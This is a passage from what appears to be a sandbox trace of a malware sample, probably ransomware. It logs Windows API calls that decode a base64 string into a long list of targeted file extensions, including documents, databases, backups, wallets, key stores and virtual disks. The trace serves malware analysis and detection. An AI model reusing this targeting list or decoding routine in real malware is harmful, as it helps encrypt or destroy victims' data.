5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" [0169.414] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0169.414] VirtualAlloc (lpAddress=0x0, dwSize=0xf31, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000 [0169.414] CryptStringToBinaryA (in: pszString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==", cchString=0x0, dwFlags=0x1, pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0169.414] VirtualAlloc (lpAddress=0x0, dwSize=0x16c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000 [0169.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2740000, cbMultiByte=-1, lpWideCharStr=0x2750000, cchWideChar=2915 | out: lpWideCharStr=".1cd, .3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .7z, .7zip, .aac, .ab4, .abd, .acc, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .agdl, .ai, .aiff, .ait, .al, .aoi, .apj, .apk, .arw, .ascx, .asf, .asm, .asp, .aspx, .asset, .asx, .atb, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bin, .bkp, .blend, .bmp, .bpw, .bsa, .c, .cash, .cdb, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfg, .cfn, .cgm, .cib, .class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, .crt, .crw, .cry, .cs, .csh, .csl, .css, .csv, .d3dbsp, .dac, .das, .dat, .db, .db_journal, .db3, .dbf, .dbx, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .def, .der, .des, .design, .dgc, .dgn, .dit, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .edb, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fh, .fhd, .fla, .flac, .flb, .flf, .flv, .flvv, .forge, .fpx, .fxg, .gbr, .gho, .gif, .gray, .grey, .groups, .gry, .h, .hbk, .hdd, .hpp, .html, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .info, .info_, .ini, .iwi, .jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .json, .k2p, .kc2, .kdbx, .kdc, .key, .kpdx, .kwm, .laccdb, .lbf, .lck, .ldf, .lit, .litemod, .litesql, .lock, .log, .ltx, .lua, .m, .m2ts, .m3u, .m4a, .m4p, .m4v, .ma, .mab, .mapimail, .max, .mbx, .md, .mdb, .mdc, .mdf, .mef, .mfw, .mid, .mkv, .mlb, .mmw, .mny, .money, .moneywell, .mos, .mov, .mp3, .mp4, .mpeg, .mpg, .mrw, .msf, .msg, .myd, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .omg, .one, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pbf, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif, .pl, .plc, .plus_muhd, .pm!, .pm, .pmi, .pmj, .pml, .pmm, .pmo, .pmr, .pnc, .pnd, .png, .pnx, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx,.ppt, .pptm, .pptx, .prf, .private, .ps, .psafe3, .psd, .pspimage, .pst, .ptx, .pub, .pwm, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .qcow, .qcow2, .qed, .qtb, .r3d, .raf, .rar, .rat, .raw, .rdb, .re4, .rm, .rtf, .rvt, .rw2, .rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sd0, .sda, .sdb, .sdf, .sh, .sldm, .sldx, .slm, .sql, .sqlite, .sqlite3, .sqlitedb, .sqlite-shm, .sqlite-wal, .sr2, .srb, .srf, .srs, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tax, .tbb, .tbk, .tbn, .tex, .tga, .thm, .tif, .tiff, .tlg, .tlx, .txt, .upk, .usr, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpd, .vsd, .wab, .wad, .wallet, .war, .wav, .wb2, .wma, .wmf, .wmv, .wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xps, .xxx, .ycbcra, .yuv, .zip") returned 2915 [0169.414] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.415] lstrlenA 